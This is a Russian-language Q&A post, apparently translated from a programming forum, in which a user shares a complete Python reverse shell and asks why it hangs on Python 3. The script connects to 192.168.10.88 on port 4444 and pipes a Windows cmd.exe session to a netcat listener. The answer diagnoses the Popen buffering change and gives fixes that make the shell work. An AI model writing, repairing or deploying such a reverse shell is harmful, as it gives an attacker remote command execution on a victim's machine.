Команды оболочки зависают на Python 3, но работают на Python 2
Ниже приведен мой код Python reverse_shell
import os,socket,subprocess,threading
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
def p2s(s, p):
while True:
s.send(p.stdout.read(1))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.10.88",4444))
p=subprocess.Popen(['\\windows\system32\\cmd.exe'], stderr=subprocess.STDOUT, stdout=subprocess.PIPE, stdin=subprocess.PIPE)
s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()
p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()
try:
p.wait()
except KeyboardInterrupt:
s.close()
Я использую netcat в качестве слушателя. Проблема в том, что когда я запускаю приведенный выше код, используя команды оболочки python 3.4, застреваю, и я не получаю вывод, но если я использую python 2, он работает нормально.
1 ответ
Аргумент по умолчанию для bufsize
в Popen
изменился между Python 2 и Python 3. В Python 2 это 0
то есть небуферизованный. В Python 3 это -1
что означает использовать буфер размера io.DEFAULT_BUFFER_SIZE
, В Python 3 программа останавливается, потому что программа записала данные в p.stdin
, но еще не сбросил его - так как буфер не заполнен. В Windows io.DEFAULT_BUFFER_SIZE
равно 8 192, и поэтому вам потребуется записать 8 КБ данных в сокет (из netcat), прежде чем вы увидите какие-либо выходные данные.
Вы можете переключиться обратно на небуферизованный поток или вручную сбросить данные после каждой записи. Или вы можете установить universal_newlines
аргумент и использовать буферизацию строки (bufsize=1
).